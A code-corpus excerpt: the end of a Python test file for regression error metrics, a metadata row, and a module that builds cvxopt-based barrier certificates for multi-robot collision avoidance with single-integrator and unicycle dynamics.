assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j] = mean_squared_error(_a, _b)
actual = _mse(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j] = mean_squared_error(_a, _b)
actual = _mse(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
def test_mae_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j] = mean_absolute_error(_a, _b)
actual = _mae(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j] = mean_absolute_error(_a, _b)
actual = _mae(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j] = mean_absolute_error(_a, _b)
actual = _mae(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
def test_mad_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j] = median_absolute_error(_a, _b)
actual = _mad(a, b, axis, skipna)
assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j] = median_absolute_error(_a, _b)
actual = _mad(a, b, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j] = median_absolute_error(_a, _b)
actual = _mad(a, b, axis, skipna)
assert_allclose(actual, expected)
def test_mape_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j] = mean_absolute_error(_a / _a, _b / _a)
actual = _mape(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j] = mean_absolute_error(_a / _a, _b / _a)
actual = _mape(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j] = mean_absolute_error(_a / _a, _b / _a)
actual = _mape(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
def test_smape_nd(a, b):
axis = 0
expected = np.squeeze(a[0, :, :]).copy()
for i in range(np.shape(a)[1]):
for j in range(np.shape(a)[2]):
_a = a[:, i, j]
_b = b[:, i, j]
expected[i, j] = mean_absolute_error(
_a / (np.absolute(_a) + np.absolute(_b)),
_b / (np.absolute(_a) + np.absolute(_b)),
)
actual = _smape(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 1
expected = np.squeeze(a[:, 0, :]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[2]):
_a = a[i, :, j]
_b = b[i, :, j]
expected[i, j] = mean_absolute_error(
_a / (np.absolute(_a) + np.absolute(_b)),
_b / (np.absolute(_a) + np.absolute(_b)),
)
actual = _smape(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
axis = 2
expected = np.squeeze(a[:, :, 0]).copy()
for i in range(np.shape(a)[0]):
for j in range(np.shape(a)[1]):
_a = a[i, j, :]
_b = b[i, j, :]
expected[i, j] = mean_absolute_error(
_a / (np.absolute(_a) + np.absolute(_b)),
_b / (np.absolute(_a) + np.absolute(_b)),
)
actual = _smape(a, b, weights, axis, skipna)
assert_allclose(actual, expected)
| 31.420054
| 78
| 0.523978
| 1,790
| 11,594
| 3.215642
| 0.042458
| 0.031272
| 0.093815
| 0.145935
| 0.920952
| 0.920952
| 0.917825
| 0.910528
| 0.909312
| 0.909312
| 0
| 0.017117
| 0.30464
| 11,594
| 368
| 79
| 31.505435
| 0.696849
| 0.003795
| 0
| 0.866044
| 0
| 0
| 0.000779
| 0
| 0
| 0
| 0
| 0
| 0.096573
| 1
| 0.037383
| false
| 0
| 0.018692
| 0.006231
| 0.062305
| 0.006231
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
6b22d729b01b063de37b16eca49981ac746cc4e3
| 43,191
|
py
|
Python
|
p_mine/utilities/barrier_certificates.py
|
The-chosen/MAPF-combination-decentralize-centralize
|
9f0641cc9408091054ba386d13fce575214b7315
|
[
"MIT"
] | null | null | null |
p_mine/utilities/barrier_certificates.py
|
The-chosen/MAPF-combination-decentralize-centralize
|
9f0641cc9408091054ba386d13fce575214b7315
|
[
"MIT"
] | null | null | null |
p_mine/utilities/barrier_certificates.py
|
The-chosen/MAPF-combination-decentralize-centralize
|
9f0641cc9408091054ba386d13fce575214b7315
|
[
"MIT"
] | null | null | null |
from cvxopt import matrix
from cvxopt.blas import dot
from cvxopt.solvers import qp, options
from cvxopt import matrix, sparse
# Unused for now, will include later for speed.
# import quadprog as solver2
import itertools
import numpy as np
from scipy.special import comb
from utilities.transformations import *
# Disable output of CVXOPT
options['show_progress'] = False
# Change default options of CVXOPT for faster solving
options['reltol'] = 1e-2 # was e-2
options['feastol'] = 1e-2 # was e-4
options['maxiters'] = 50 # default is 100
def create_single_integrator_barrier_certificate(barrier_gain=100, safety_radius=0.17, magnitude_limit=0.2):
"""Creates a barrier certificate for a single-integrator system. This function
returns another function for optimization reasons.
barrier_gain: double (controls how quickly agents can approach each other. lower = slower)
safety_radius: double (how far apart the agents will stay)
magnitude_limit: how fast the robot can move linearly.
-> function (the barrier certificate function)
"""
#Check user input types
assert isinstance(barrier_gain, (int, float)), "In the function create_single_integrator_barrier_certificate, the barrier gain (barrier_gain) must be an integer or float. Recieved type %r." % type(barrier_gain).__name__
assert isinstance(safety_radius, (int, float)), "In the function create_single_integrator_barrier_certificate, the safe distance between robots (safety_radius) must be an integer or float. Recieved type %r." % type(safety_radius).__name__
assert isinstance(magnitude_limit, (int, float)), "In the function create_single_integrator_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be an integer or float. Recieved type %r." % type(magnitude_limit).__name__
#Check user input ranges/sizes
assert barrier_gain > 0, "In the function create_single_integrator_barrier_certificate, the barrier gain (barrier_gain) must be positive. Recieved %r." % barrier_gain
assert safety_radius >= 0.12, "In the function create_single_integrator_barrier_certificate, the safe distance between robots (safety_radius) must be greater than or equal to the diameter of the robot (0.12m) plus the distance to the look ahead point used in the diffeomorphism if that is being used. Recieved %r." % safety_radius
assert magnitude_limit > 0, "In the function create_single_integrator_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be positive. Recieved %r." % magnitude_limit
assert magnitude_limit <= 0.2, "In the function create_single_integrator_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be less than the max speed of the robot (0.2m/s). Recieved %r." % magnitude_limit
def f(dxi, x):
#Check user input types
assert isinstance(dxi, np.ndarray), "In the function created by the create_single_integrator_barrier_certificate function, the single-integrator robot velocity command (dxi) must be a numpy array. Recieved type %r." % type(dxi).__name__
assert isinstance(x, np.ndarray), "In the function created by the create_single_integrator_barrier_certificate function, the robot states (x) must be a numpy array. Recieved type %r." % type(x).__name__
#Check user input ranges/sizes
assert x.shape[0] == 2, "In the function created by the create_single_integrator_barrier_certificate function, the dimension of the single integrator robot states (x) must be 2 ([x;y]). Recieved dimension %r." % x.shape[0]
assert dxi.shape[0] == 2, "In the function created by the create_single_integrator_barrier_certificate function, the dimension of the robot single integrator velocity command (dxi) must be 2 ([x_dot;y_dot]). Recieved dimension %r." % dxi.shape[0]
assert x.shape[1] == dxi.shape[1], "In the function created by the create_single_integrator_barrier_certificate function, the number of robot states (x) must be equal to the number of robot single integrator velocity commands (dxi). Recieved a current robot pose input array (x) of size %r x %r and single integrator velocity array (dxi) of size %r x %r." % (x.shape[0], x.shape[1], dxi.shape[0], dxi.shape[1])
# Initialize some variables for computational savings
N = dxi.shape[1]
num_constraints = int(comb(N, 2))
A = np.zeros((num_constraints, 2*N))
b = np.zeros(num_constraints)
H = sparse(matrix(2*np.identity(2*N)))
count = 0
for i in range(N-1):
for j in range(i+1, N):
error = x[:, i] - x[:, j]
h = (error[0]*error[0] + error[1]*error[1]) - np.power(safety_radius, 2)
A[count, (2*i, (2*i+1))] = -2*error
A[count, (2*j, (2*j+1))] = 2*error
b[count] = barrier_gain*np.power(h, 3)
count += 1
# Threshold control inputs before QP
norms = np.linalg.norm(dxi, 2, 0)
idxs_to_normalize = (norms > magnitude_limit)
dxi[:, idxs_to_normalize] *= magnitude_limit/norms[idxs_to_normalize]
f = -2*np.reshape(dxi, 2*N, order='F')
result = qp(H, matrix(f), matrix(A), matrix(b))['x']
return np.reshape(result, (2, -1), order='F')
return f
def create_single_integrator_barrier_certificate_with_boundary(barrier_gain=100, safety_radius=0.17, magnitude_limit=0.2, boundary_points = np.array([-2, 2, -1.0, 1.0])):
"""Creates a barrier certificate for a single-integrator system with a rectangular boundary included. This function
returns another function for optimization reasons.
barrier_gain: double (controls how quickly agents can approach each other. lower = slower)
safety_radius: double (how far apart the agents will stay)
magnitude_limit: how fast the robot can move linearly.
-> function (the barrier certificate function)
"""
#Check user input types
assert isinstance(barrier_gain, (int, float)), "In the function create_single_integrator_barrier_certificate, the barrier gain (barrier_gain) must be an integer or float. Recieved type %r." % type(barrier_gain).__name__
assert isinstance(safety_radius, (int, float)), "In the function create_single_integrator_barrier_certificate, the safe distance between robots (safety_radius) must be an integer or float. Recieved type %r." % type(safety_radius).__name__
assert isinstance(magnitude_limit, (int, float)), "In the function create_single_integrator_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be an integer or float. Recieved type %r." % type(magnitude_limit).__name__
#Check user input ranges/sizes
assert barrier_gain > 0, "In the function create_single_integrator_barrier_certificate, the barrier gain (barrier_gain) must be positive. Recieved %r." % barrier_gain
assert safety_radius >= 0.12, "In the function create_single_integrator_barrier_certificate, the safe distance between robots (safety_radius) must be greater than or equal to the diameter of the robot (0.12m) plus the distance to the look ahead point used in the diffeomorphism if that is being used. Recieved %r." % safety_radius
assert magnitude_limit > 0, "In the function create_single_integrator_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be positive. Recieved %r." % magnitude_limit
assert magnitude_limit <= 0.2, "In the function create_single_integrator_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be less than the max speed of the robot (0.2m/s). Recieved %r." % magnitude_limit
def f(dxi, x):
#Check user input types
assert isinstance(dxi, np.ndarray), "In the function created by the create_single_integrator_barrier_certificate function, the single-integrator robot velocity command (dxi) must be a numpy array. Recieved type %r." % type(dxi).__name__
assert isinstance(x, np.ndarray), "In the function created by the create_single_integrator_barrier_certificate function, the robot states (x) must be a numpy array. Recieved type %r." % type(x).__name__
#Check user input ranges/sizes
assert x.shape[0] == 2, "In the function created by the create_single_integrator_barrier_certificate function, the dimension of the single integrator robot states (x) must be 2 ([x;y]). Recieved dimension %r." % x.shape[0]
assert dxi.shape[0] == 2, "In the function created by the create_single_integrator_barrier_certificate function, the dimension of the robot single integrator velocity command (dxi) must be 2 ([x_dot;y_dot]). Recieved dimension %r." % dxi.shape[0]
assert x.shape[1] == dxi.shape[1], "In the function created by the create_single_integrator_barrier_certificate function, the number of robot states (x) must be equal to the number of robot single integrator velocity commands (dxi). Recieved a current robot pose input array (x) of size %r x %r and single integrator velocity array (dxi) of size %r x %r." % (x.shape[0], x.shape[1], dxi.shape[0], dxi.shape[1])
# Initialize some variables for computational savings
N = dxi.shape[1]
num_constraints = int(comb(N, 2)) + 4*N
A = np.zeros((num_constraints, 2*N))
b = np.zeros(num_constraints)
#H = sparse(matrix(2*np.identity(2*N)))
H = 2*np.identity(2*N)
count = 0
for i in range(N-1):
for j in range(i+1, N):
error = x[:, i] - x[:, j]
h = (error[0]*error[0] + error[1]*error[1]) - np.power(safety_radius, 2)
A[count, (2*i, (2*i+1))] = -2*error
A[count, (2*j, (2*j+1))] = 2*error
b[count] = barrier_gain*np.power(h, 3)
count += 1
for k in range(N):
#Pos Y
A[count, (2*k, 2*k+1)] = np.array([0,1])
b[count] = 0.4*barrier_gain*(boundary_points[3] - safety_radius/2 - x[1,k])**3;
count += 1
#Neg Y
A[count, (2*k, 2*k+1)] = -np.array([0,1])
b[count] = 0.4*barrier_gain*(-boundary_points[2] - safety_radius/2 + x[1,k])**3;
count += 1
#Pos X
A[count, (2*k, 2*k+1)] = np.array([1,0])
b[count] = 0.4*barrier_gain*(boundary_points[1] - safety_radius/2 - x[0,k])**3;
count += 1
#Neg X
A[count, (2*k, 2*k+1)] = -np.array([1,0])
b[count] = 0.4*barrier_gain*(-boundary_points[0] - safety_radius/2 + x[0,k])**3;
count += 1
# Threshold control inputs before QP
norms = np.linalg.norm(dxi, 2, 0)
idxs_to_normalize = (norms > magnitude_limit)
dxi[:, idxs_to_normalize] *= magnitude_limit/norms[idxs_to_normalize]
f = -2*np.reshape(dxi, (2*N,1), order='F')
b = np.reshape(b, (count,1), order='F')
result = qp(matrix(H), matrix(f), matrix(A), matrix(b))['x']
#result = solver2.solve_qp(H, f, A, b, 0)[0]
return np.reshape(result, (2, N), order='F')
return f
def create_single_integrator_barrier_certificate2(barrier_gain=100, unsafe_barrier_gain=1e6, safety_radius=0.17, magnitude_limit=0.2):
"""Creates a barrier certificate for a single-integrator system. This function
returns another function for optimization reasons. This function is different from
create_single_integrator_barrier_certificate as it changes the barrier gain to a large
number if the single integrator point enters the unsafe region.
barrier_gain: double (controls how quickly agents can approach each other. lower = slower)
safety_radius: double (how far apart the agents will stay)
magnitude_limit: how fast the robot can move linearly.
-> function (the barrier certificate function)
"""
#Check user input types
assert isinstance(barrier_gain, (int, float)), "In the function create_single_integrator_barrier_certificate2, the barrier gain inside the safe set (barrier_gain) must be an integer or float. Recieved type %r." % type(barrier_gain).__name__
assert isinstance(unsafe_barrier_gain, (int, float)), "In the function create_single_integrator_barrier_certificate2, the barrier gain if outside the safe set (unsafe_barrier_gain) must be an integer or float. Recieved type %r." % type(unsafe_barrier_gain).__name__
assert isinstance(safety_radius, (int, float)), "In the function create_single_integrator_barrier_certificate2, the safe distance between robots (safety_radius) must be an integer or float. Recieved type %r." % type(safety_radius).__name__
assert isinstance(magnitude_limit, (int, float)), "In the function create_single_integrator_barrier_certificate2, the maximum linear velocity of the robot (magnitude_limit) must be an integer or float. Recieved type %r." % type(magnitude_limit).__name__
#Check user input ranges/sizes
assert barrier_gain > 0, "In the function create_single_integrator_barrier_certificate2, the barrier gain inside the safe set (barrier_gain) must be positive. Recieved %r." % barrier_gain
assert unsafe_barrier_gain > 0, "In the function create_single_integrator_barrier_certificate2, the barrier gain if outside the safe set (unsafe_barrier_gain) must be positive. Recieved %r." % unsafe_barrier_gain
assert safety_radius >= 0.12, "In the function create_single_integrator_barrier_certificate2, the safe distance between robots (safety_radius) must be greater than or equal to the diameter of the robot (0.12m) plus the distance to the look ahead point used in the diffeomorphism if that is being used. Recieved %r." % safety_radius
assert magnitude_limit > 0, "In the function create_single_integrator_barrier_certificate2, the maximum linear velocity of the robot (magnitude_limit) must be positive. Recieved %r." % magnitude_limit
assert magnitude_limit <= 0.2, "In the function create_single_integrator_barrier_certificate2, the maximum linear velocity of the robot (magnitude_limit) must be less than the max speed of the robot (0.2m/s). Recieved %r." % magnitude_limit
def f(dxi, x):
#Check user input types
assert isinstance(dxi, np.ndarray), "In the function created by the create_single_integrator_barrier_certificate2 function, the single-integrator robot velocity command (dxi) must be a numpy array. Recieved type %r." % type(dxi).__name__
assert isinstance(x, np.ndarray), "In the function created by the create_single_integrator_barrier_certificate2 function, the robot states (x) must be a numpy array. Recieved type %r." % type(x).__name__
#Check user input ranges/sizes
assert x.shape[0] == 2, "In the function created by the create_single_integrator_barrier_certificate2 function, the dimension of the single integrator robot states (x) must be 2 ([x;y]). Recieved dimension %r." % x.shape[0]
assert dxi.shape[0] == 2, "In the function created by the create_single_integrator_barrier_certificate2 function, the dimension of the robot single integrator velocity command (dxi) must be 2 ([x_dot;y_dot]). Recieved dimension %r." % dxi.shape[0]
assert x.shape[1] == dxi.shape[1], "In the function created by the create_single_integrator_barrier_certificate2 function, the number of robot states (x) must be equal to the number of robot single integrator velocity commands (dxi). Recieved a current robot pose input array (x) of size %r x %r and single integrator velocity array (dxi) of size %r x %r." % (x.shape[0], x.shape[1], dxi.shape[0], dxi.shape[1])
# Initialize some variables for computational savings
N = dxi.shape[1]
num_constraints = int(comb(N, 2))
A = np.zeros((num_constraints, 2*N))
b = np.zeros(num_constraints)
H = sparse(matrix(2*np.identity(2*N)))
count = 0
for i in range(N-1):
for j in range(i+1, N):
error = x[:, i] - x[:, j]
h = (error[0]*error[0] + error[1]*error[1]) - np.power(safety_radius, 2)
A[count, (2*i, (2*i+1))] = -2*error
A[count, (2*j, (2*j+1))] = 2*error
if h >= 0:
b[count] = barrier_gain*np.power(h, 3)
else:
b[count] = unsafe_barrier_gain*np.power(h, 3)
count += 1
# Threshold control inputs before QP
norms = np.linalg.norm(dxi, 2, 0)
idxs_to_normalize = (norms > magnitude_limit)
dxi[:, idxs_to_normalize] *= magnitude_limit/norms[idxs_to_normalize]
f = -2*np.reshape(dxi, 2*N, order='F')
result = qp(H, matrix(f), matrix(A), matrix(b))['x']
return np.reshape(result, (2, -1), order='F')
return f
def create_unicycle_barrier_certificate(barrier_gain=100, safety_radius=0.12, projection_distance=0.05, magnitude_limit=0.2):
""" Creates a unicycle barrier cetifcate to avoid collisions. Uses the diffeomorphism mapping
and single integrator implementation. For optimization purposes, this function returns
another function.
barrier_gain: double (how fast the robots can approach each other)
safety_radius: double (how far apart the robots should stay)
projection_distance: double (how far ahead to place the bubble)
-> function (the unicycle barrier certificate function)
"""
#Check user input types
assert isinstance(barrier_gain, (int, float)), "In the function create_unicycle_barrier_certificate, the barrier gain (barrier_gain) must be an integer or float. Recieved type %r." % type(barrier_gain).__name__
assert isinstance(safety_radius, (int, float)), "In the function create_unicycle_barrier_certificate, the safe distance between robots (safety_radius) must be an integer or float. Recieved type %r." % type(safety_radius).__name__
assert isinstance(projection_distance, (int, float)), "In the function create_unicycle_barrier_certificate, the projected point distance for the diffeomorphism between sinlge integrator and unicycle (projection_distance) must be an integer or float. Recieved type %r." % type(projection_distance).__name__
assert isinstance(magnitude_limit, (int, float)), "In the function create_unicycle_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be an integer or float. Recieved type %r." % type(magnitude_limit).__name__
#Check user input ranges/sizes
assert barrier_gain > 0, "In the function create_unicycle_barrier_certificate, the barrier gain (barrier_gain) must be positive. Recieved %r." % barrier_gain
assert safety_radius >= 0.12, "In the function create_unicycle_barrier_certificate, the safe distance between robots (safety_radius) must be greater than or equal to the diameter of the robot (0.12m). Recieved %r." % safety_radius
assert projection_distance > 0, "In the function create_unicycle_barrier_certificate, the projected point distance for the diffeomorphism between sinlge integrator and unicycle (projection_distance) must be positive. Recieved %r." % projection_distance
assert magnitude_limit > 0, "In the function create_unicycle_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be positive. Recieved %r." % magnitude_limit
assert magnitude_limit <= 0.2, "In the function create_unicycle_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be less than the max speed of the robot (0.2m/s). Recieved %r." % magnitude_limit
si_barrier_cert = create_single_integrator_barrier_certificate(barrier_gain=barrier_gain, safety_radius=safety_radius+projection_distance)
si_to_uni_dyn, uni_to_si_states = create_si_to_uni_mapping(projection_distance=projection_distance)
uni_to_si_dyn = create_uni_to_si_dynamics(projection_distance=projection_distance)
def f(dxu, x):
#Check user input types
assert isinstance(dxu, np.ndarray), "In the function created by the create_unicycle_barrier_certificate function, the unicycle robot velocity command (dxu) must be a numpy array. Recieved type %r." % type(dxu).__name__
assert isinstance(x, np.ndarray), "In the function created by the create_unicycle_barrier_certificate function, the robot states (x) must be a numpy array. Recieved type %r." % type(x).__name__
#Check user input ranges/sizes
assert x.shape[0] == 3, "In the function created by the create_unicycle_barrier_certificate function, the dimension of the unicycle robot states (x) must be 3 ([x;y;theta]). Recieved dimension %r." % x.shape[0]
assert dxu.shape[0] == 2, "In the function created by the create_unicycle_barrier_certificate function, the dimension of the robot unicycle velocity command (dxu) must be 2 ([v;w]). Recieved dimension %r." % dxu.shape[0]
assert x.shape[1] == dxu.shape[1], "In the function created by the create_unicycle_barrier_certificate function, the number of robot states (x) must be equal to the number of robot unicycle velocity commands (dxu). Recieved a current robot pose input array (x) of size %r x %r and single integrator velocity array (dxi) of size %r x %r." % (x.shape[0], x.shape[1], dxu.shape[0], dxu.shape[1])
x_si = uni_to_si_states(x)
#Convert unicycle control command to single integrator one
dxi = uni_to_si_dyn(dxu, x)
#Apply single integrator barrier certificate
dxi = si_barrier_cert(dxi, x_si)
#Return safe unicycle command
return si_to_uni_dyn(dxi, x)
return f
def create_unicycle_barrier_certificate_with_boundary(barrier_gain=100, safety_radius=0.12, projection_distance=0.05, magnitude_limit=0.2, boundary_points = np.array([-1.6, 1.6, -1.0, 1.0])):
""" Creates a unicycle barrier cetifcate to avoid collisions. Uses the diffeomorphism mapping
and single integrator implementation. For optimization purposes, this function returns
another function.
barrier_gain: double (how fast the robots can approach each other)
safety_radius: double (how far apart the robots should stay)
projection_distance: double (how far ahead to place the bubble)
-> function (the unicycle barrier certificate function)
"""
#Check user input types
assert isinstance(barrier_gain, (int, float)), "In the function create_unicycle_barrier_certificate, the barrier gain (barrier_gain) must be an integer or float. Recieved type %r." % type(barrier_gain).__name__
assert isinstance(safety_radius, (int, float)), "In the function create_unicycle_barrier_certificate, the safe distance between robots (safety_radius) must be an integer or float. Recieved type %r." % type(safety_radius).__name__
assert isinstance(projection_distance, (int, float)), "In the function create_unicycle_barrier_certificate, the projected point distance for the diffeomorphism between sinlge integrator and unicycle (projection_distance) must be an integer or float. Recieved type %r." % type(projection_distance).__name__
assert isinstance(magnitude_limit, (int, float)), "In the function create_unicycle_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be an integer or float. Recieved type %r." % type(magnitude_limit).__name__
#Check user input ranges/sizes
assert barrier_gain > 0, "In the function create_unicycle_barrier_certificate, the barrier gain (barrier_gain) must be positive. Recieved %r." % barrier_gain
assert safety_radius >= 0.12, "In the function create_unicycle_barrier_certificate, the safe distance between robots (safety_radius) must be greater than or equal to the diameter of the robot (0.12m). Recieved %r." % safety_radius
assert projection_distance > 0, "In the function create_unicycle_barrier_certificate, the projected point distance for the diffeomorphism between sinlge integrator and unicycle (projection_distance) must be positive. Recieved %r." % projection_distance
assert magnitude_limit > 0, "In the function create_unicycle_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be positive. Recieved %r." % magnitude_limit
assert magnitude_limit <= 0.2, "In the function create_unicycle_barrier_certificate, the maximum linear velocity of the robot (magnitude_limit) must be less than the max speed of the robot (0.2m/s). Recieved %r." % magnitude_limit
si_barrier_cert = create_single_integrator_barrier_certificate_with_boundary(barrier_gain=barrier_gain, safety_radius=safety_radius+projection_distance, boundary_points=boundary_points)
si_to_uni_dyn, uni_to_si_states = create_si_to_uni_mapping(projection_distance=projection_distance)
uni_to_si_dyn = create_uni_to_si_dynamics(projection_distance=projection_distance)
def f(dxu, x):
#Check user input types
assert isinstance(dxu, np.ndarray), "In the function created by the create_unicycle_barrier_certificate function, the unicycle robot velocity command (dxu) must be a numpy array. Recieved type %r." % type(dxu).__name__
assert isinstance(x, np.ndarray), "In the function created by the create_unicycle_barrier_certificate function, the robot states (x) must be a numpy array. Recieved type %r." % type(x).__name__
#Check user input ranges/sizes
assert x.shape[0] == 3, "In the function created by the create_unicycle_barrier_certificate function, the dimension of the unicycle robot states (x) must be 3 ([x;y;theta]). Recieved dimension %r." % x.shape[0]
assert dxu.shape[0] == 2, "In the function created by the create_unicycle_barrier_certificate function, the dimension of the robot unicycle velocity command (dxu) must be 2 ([v;w]). Recieved dimension %r." % dxu.shape[0]
assert x.shape[1] == dxu.shape[1], "In the function created by the create_unicycle_barrier_certificate function, the number of robot states (x) must be equal to the number of robot unicycle velocity commands (dxu). Recieved a current robot pose input array (x) of size %r x %r and single integrator velocity array (dxi) of size %r x %r." % (x.shape[0], x.shape[1], dxu.shape[0], dxu.shape[1])
x_si = uni_to_si_states(x)
#Convert unicycle control command to single integrator one
dxi = uni_to_si_dyn(dxu, x)
#Apply single integrator barrier certificate
dxi = si_barrier_cert(dxi, x_si)
#Return safe unicycle command
return si_to_uni_dyn(dxi, x)
return f
def create_unicycle_barrier_certificate2(barrier_gain=500, unsafe_barrier_gain=1e6, safety_radius=0.12, projection_distance=0.05, magnitude_limit=0.2):
""" Creates a unicycle barrier cetifcate to avoid collisions. Uses the diffeomorphism mapping
and single integrator implementation. For optimization purposes, this function returns
another function.
barrier_gain: double (how fast the robots can approach each other)
safety_radius: double (how far apart the robots should stay)
projection_distance: double (how far ahead to place the bubble)
-> function (the unicycle barrier certificate function)
"""
#Check user input types
assert isinstance(barrier_gain, (int, float)), "In the function create_unicycle_barrier_certificate2, the barrier gain inside the safe set (barrier_gain) must be an integer or float. Recieved type %r." % type(barrier_gain).__name__
assert isinstance(unsafe_barrier_gain, (int, float)), "In the function create_unicycle_barrier_certificate2, the barrier gain outside the safe set (unsafe_barrier_gain) must be an integer or float. Recieved type %r." % type(unsafe_barrier_gain).__name__
assert isinstance(safety_radius, (int, float)), "In the function create_unicycle_barrier_certificate2, the safe distance between robots (safety_radius) must be an integer or float. Recieved type %r." % type(safety_radius).__name__
assert isinstance(projection_distance, (int, float)), "In the function create_unicycle_barrier_certificate2, the projected point distance for the diffeomorphism between sinlge integrator and unicycle (projection_distance) must be an integer or float. Recieved type %r." % type(projection_distance).__name__
assert isinstance(magnitude_limit, (int, float)), "In the function create_unicycle_barrier_certificate2, the maximum linear velocity of the robot (magnitude_limit) must be an integer or float. Recieved type %r." % type(magnitude_limit).__name__
#Check user input ranges/sizes
assert barrier_gain > 0, "In the function create_unicycle_barrier_certificate2, the barrier gain inside the safe set (barrier_gain) must be positive. Recieved %r." % barrier_gain
assert unsafe_barrier_gain > 0, "In the function create_unicycle_barrier_certificate2, the barrier gain outside the safe set (unsafe_barrier_gain) must be positive. Recieved %r." % unsafe_barrier_gain
assert safety_radius >= 0.12, "In the function create_unicycle_barrier_certificate2, the safe distance between robots (safety_radius) must be greater than or equal to the diameter of the robot (0.12m). Recieved %r." % safety_radius
assert projection_distance > 0, "In the function create_unicycle_barrier_certificate2, the projected point distance for the diffeomorphism between sinlge integrator and unicycle (projection_distance) must be positive. Recieved %r." % projection_distance
assert magnitude_limit > 0, "In the function create_unicycle_barrier_certificate2, the maximum linear velocity of the robot (magnitude_limit) must be positive. Recieved %r." % magnitude_limit
assert magnitude_limit <= 0.2, "In the function create_unicycle_barrier_certificate2, the maximum linear velocity of the robot (magnitude_limit) must be less than the max speed of the robot (0.2m/s). Recieved %r." % magnitude_limit
si_barrier_cert = create_single_integrator_barrier_certificate2(barrier_gain=barrier_gain, unsafe_barrier_gain=unsafe_barrier_gain, safety_radius=safety_radius+projection_distance)
si_to_uni_dyn, uni_to_si_states = create_si_to_uni_mapping(projection_distance=projection_distance)
uni_to_si_dyn = create_uni_to_si_dynamics(projection_distance=projection_distance)
def f(dxu, x):
#Check user input types
assert isinstance(dxu, np.ndarray), "In the function created by the create_unicycle_barrier_certificate function, the unicycle robot velocity command (dxu) must be a numpy array. Recieved type %r." % type(dxu).__name__
assert isinstance(x, np.ndarray), "In the function created by the create_unicycle_barrier_certificate function, the robot states (x) must be a numpy array. Recieved type %r." % type(x).__name__
#Check user input ranges/sizes
assert x.shape[0] == 3, "In the function created by the create_unicycle_barrier_certificate function, the dimension of the unicycle robot states (x) must be 3 ([x;y;theta]). Recieved dimension %r." % x.shape[0]
assert dxu.shape[0] == 2, "In the function created by the create_unicycle_barrier_certificate function, the dimension of the robot unicycle velocity command (dxu) must be 2 ([v;w]). Recieved dimension %r." % dxu.shape[0]
assert x.shape[1] == dxu.shape[1], "In the function created by the create_unicycle_barrier_certificate function, the number of robot states (x) must be equal to the number of robot unicycle velocity commands (dxu). Recieved a current robot pose input array (x) of size %r x %r and single integrator velocity array (dxi) of size %r x %r." % (x.shape[0], x.shape[1], dxu.shape[0], dxu.shape[1])
x_si = uni_to_si_states(x)
#Convert unicycle control command to single integrator one
dxi = uni_to_si_dyn(dxu, x)
#Apply single integrator barrier certificate
dxi = si_barrier_cert(dxi, x_si)
#Return safe unicycle command
return si_to_uni_dyn(dxi, x)
return f
